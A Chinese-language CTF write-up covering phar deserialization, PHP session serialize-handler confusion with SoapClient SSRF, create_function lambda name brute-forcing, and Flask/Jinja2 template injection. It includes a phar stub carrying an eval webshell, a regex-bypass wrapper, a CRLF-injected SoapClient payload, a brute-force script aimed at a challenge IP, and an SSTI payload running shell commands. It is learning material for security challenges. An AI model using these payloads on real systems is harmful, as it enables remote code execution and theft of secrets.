SEVERAL_CTF_WP

Phar反序列化

刚看到这题感觉很像是phar反序列化

1
2
3
4
5
6
7
8
9
class K0rz3n_secret_flag {
protected $file_path;
function __destruct(){
if(preg_match('/(log|etc|session|proc|read_secret|history|class)/i', $this->file_path)){
die("Sorry Sorry Sorry");
}
include_once($this->file_path);
}
}

这个类在整个页面没有被实例化,猜测是利用反序列化
再往下看,还有一处检验gif头标志的,也就是说只能上传gif文件
不过可以构造phar可以绕过,而且phar文件的meta_data是序列化后的
利用phar实行反序列化有需要满足3个条件

  • phar文件要能够上传到服务器端,并且这个上传后保存的地址也要知道
  • 要有可用的魔术方法作为“跳板”
  • 文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤

上传文件可以利用upload函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function upload($path) {
if(isset($_GET['url'])){
if(preg_match('/^(http|https).*/i', $_GET['url'])){
$data = file_get_contents($_GET["url"] . "/avatar.gif");
if (substr($data, 0, 6) !== "GIF89a"){
die("Fuck off");
}

file_put_contents($path . "/avatar.gif", $data);
die("Upload OK");
}else{
die("Hacker");
}
}else{
die("Miss the URL~~");
}
}

url可控,在本地写个php脚本生成phar文件,改名avatar.gif
有许多可以解析phar文件的 PHP文件函数,且PHP识别phar是根据php __HALT_COMPILER();?>,所以即使改了后缀后也没事

phar实行反序化文章

phar实行反序化文章

层层受阻。。。决定看网上的wp

出题人的wp

出题人的wp

hctf一道相似题

hctf一道相似题

这道题还有非预期解
思路是通过构造php脚本,生成phar文件,改名后上传到自己的vps上,和我的思路一样哎,有点开心。。。然而我卡在了构造php脚本上
wp里的脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class K0rz3n_secret_flag {
protected $file_path='/var/www/data/67bf5ff3cfa1cdd00f700328698c2adb/avatar.gif';
function __destruct(){
if(preg_match('/(log|etc|session|proc|read_secret|history|class)/i', $this->file_path)){
die("Sorry Sorry Sorry");
}
include_once($this->file_path);
}
}

$a= new K0rz3n_secret_flag();
$p = new Phar('./1.phar', 0);
$p->startBuffering();
$p->setStub('GIF89a<?php echo 1;eval($_GET["a"]);?'.'><?php __HALT_COMPILER(); ?'.'>');
$p->setMetadata($a);
$p->addFromString('1.txt','text');
$p->stopBuffering();
rename('./1.phar', 'avatar.gif');
?>

可以看到把类成员属性赋值了,赋的值为上传后的文件地址,可以通过cookie找到
接着又添加了一个木马phar文件了,这个是我没想到的,仔细发现__destruct()
魔术函数中的include函数将上传后的文件可以包含,从而getshell。
下面就剩一个问题了 用什么文件函数来触发phar实行反序列化
在页面找了几个带有可控参数的文件函数,结果都过滤了phar,这是我刚开始卡着的第二点。
wp里利用check函数()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function check($path){
if(isset($_GET['c'])){
if(preg_match('/^(ftp|php|zlib|data|glob|phar|ssh2|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file)(.|\\s)*/i',$_GET['c'])){
die("Hacker Hacker Hacker");
}else{
$file_path = $_GET['c'];
echo $file_path;
list($width, $height, $type) = @getimagesize($file_path);
die("Width is :" . $width." px<br>" .
"Height is :" . $height." px<br>");
}
}else{
list($width, $height, $type) = @getimagesize($path."/avatar.gif");
die("Width is :" . $width." px<br>" .
"Height is :" . $height." px<br>");
}
}

当初我也试了,因为正则过滤了phar,就放弃了。
但这里可以用compress.zlib://phar://绕过正则,达到一样的效果。
getimagesize()是获取图片一些属性,返回一个数组,也可以触发phar实行反序列化。

受此影响的其它文件函数

受此影响的其它文件函数

所以整体解题方法

  1. 生成一个phar文件(含有某个对象和其属性的序列化信息)
  2. 经过upload上传,其实顺带利用了一个ssrf
  3. 利用check函数中的getimagesize函数触发phar实行反序列化,进而文件包含,getshell.

总结

  • phar实行反序列化的实质是phar可以以序列化的方式储存对象及其属性,当遇到某个文件函数会触发phar反序列化,从而生成一个对象,然后将精心构造的某个属性值经过一个对象中的魔术方法中的恶意函数进行利用
  • compress.zlib://phar://可以代替phar://

感觉很有意思。

Php之session序列化


题目源代码

1
2
3
4
5
6
7
8
9
10
11
12
 <?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
$_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>

首先解决几个函数

  • mixed call_user_func(callable $callback[, mixed $parameter[, mixed $…]])
    第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数
    当call_user_func()函数的第一个参数为数组的时候,意为调用某个对象中的方法
    1
    2
    3
    4
    5
    6
    7
    8
    9
    <?php
    class myclass{
    function say_hello(){
    echo "hello!\n";
    }
    }
    $classname = new myclass();
    call_user_func(array($classname,'say_hello'));
    ?>

输出hello!

  • session_start()
    session_start — 启动新会话或者重用现有会话
    bool session_start([ array $options = []] )
    options此参数是一个关联数组,如果提供,那么会用其中的项目覆盖会话配置指示 中的配置项。此数组中的键无需包含 session. 前缀。
    会话配置指示中的配置项
    关于session的几个问题

最后一个

  • reset函数
    mixed reset( array &$array)
    reset() 将 array 的内部指针倒回到第一个单元并返回第一个数组单元的值。

进入题目

首先看到call_user_func会想到命令执行漏洞
但是那几个执行外壳命令的函数如system,shell_exec,exec等,它们的参数都是string类型,而这里call_user_func的第二个参数是数组类型,所以我继续找其他可以执行命令的函数,结果都是参数都是string类型。
扫下目录,发现flag.php文件

1
2
3
4
5
6
7
only localhost can get flag!
session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1")
{ $_SESSION['flag'] = $flag; }
only localhost can get flag!

发现flag写进了session里,而且前提条件必须是本地ip
而$_SERVER[“REMOTE_ADDR”]是无法伪造的
没思路了。
接下来搜索wp..
出题人wp
首先通过将创建一个soapclient
将其序列化,存入session文件里
然后从session中取出来
这一存一取的过程,session中的数据会先序列化存储,再反序列化取出
而这个soapclient实例化对象会发出一个soap请求
它需要几个条件

  1. 在不使用 wsdl 的情况下创建的对象(即第一个参数为null)
  2. 调用不存在的方法的时候
  3. uri这个键必须存在
    就是利用这个soap请求来构造满足题目要求的ssrf
    如何构造soap请求学习了一波
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    <?php
    $target='http://127.0.0.1/flag.php';
    $b = new SoapClient(null,array('location' => $target,
    'user_agent' => "AAA:BBB\r\n".
    "Cookie:PHPSESSID=xxxxx",
    'uri' => "hello"));

    $se = serialize($b);
    echo urlencode($se);
    ?>

利用user_agent在后面加上\r\n,可以构造请求头的多个字段值
注意这里的PHPSESSID必须存在,当ssrf访问flag.php时才会将flag写入自己的session中
接下来是session反序列化漏洞问题,学习一波
在php.ini中存在三项配置项:

  • session.save_path=”” –设置session的存储路径
  • session.save_handler=”” –设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
  • session.auto_start boolen –指定会话模块是否在请求开始时启动一个会话,默认为0不启动
  • session.serialize_handler string –定义用来序列化/反序列化的处理器名字。默认使用php

这一题是利用session.serialize_handler这个配置项

  • php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
  • php:存储方式是,键名+竖线+经过serialize()函数序列处理的值
  • php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值

PHP中的Session的实现是没有问题,危害主要是由于程序员的Session使用不当而引起的。
如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确第反序列化。通过精心构造的数据包,就可以绕过程序的验证或者是执行一些系统的方法
关于具体的session反序列化问题

漏洞利用

首先第一次会话

http://xx.xx.xx.xx:port/?name=|序列化data&f=session_start
然后post: serialize_handler=php_serialize
为什么会加|这个呢
因为session 默认引擎为php

接着进行第二次会话

这就是利用默认的php session 引擎,因为在存储时,数据格式为键名|反序列化键值,所以在取出数据时,也是同样的方式,认为|符号之前是键名,之后是键值,将键值反序列化取出
使得生成soapclient实例化对象,但是此时需要在调用一个对象中不存在的方法
源代码上面有一个call_user_func
下面还有一个call_user_func
所以在利用第一个call_user_func将变量b覆改掉为call_user_func
payload http://xx.xx.xx.xx:port/?f=extract
然后post:b=call_user_func
执行到下面的时候即call_user_func(call_user_func,$a);
此时数组$a是call_user_func的参数,也就是说此语句会调用oapclient实例化对象中‘“welcome_to_the_lctf2018”方法,此方法不存在,发送soap请求
触发ssrf,访问flag.php页面,将flag写入自己的session中

最后第三次会话

访问页面时,执行到var_dump($_SESSION);时,会将自己的session打印出来,不出意外的话就是两个。。。
第一个元素是自己传入的对象
第二个元素是ssrf时写入的flag

Php之create_function函数

题目源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

$MY = create_function("","die(`cat flag.php`);");
$hash = bin2hex(openssl_random_pseudo_bytes(32));
eval("function hhit_$hash(){"
."global \$MY;"
."\$MY();"
."}");
if(isset($_GET['func_name'])){
$_GET["func_name"]();
die();
}
show_source(__FILE__);

create_function的匿名函数也是有名字的,名字是\x00lambda_%d,其中%d代表他是当前进程中的第几个匿名函数,直接burp开启跑也可以写脚本跑
这个匿名函数在hctf baby^h-master-php-2017 https://www.jianshu.com/p/19e3ee990cb7 也出现过。

1
2
3
4
5
6
7
8
9
import requests
url="http://115.159.184.127:10005/?func_name=%00lambda_"

for i in range(1,1000):
res=requests.get(url+str(i))
print(res.url)
if "{" in res.text:
print(res.text)
break

Flask模板注入

解题链接

1
2
3
4
5
6
7
8
9
10
11
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("cd ../&&ls").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

发现有个flag
当然之前找文件找了很多次…
然后把popen的参数换成cat /flag
整体要经过urlencode传参给name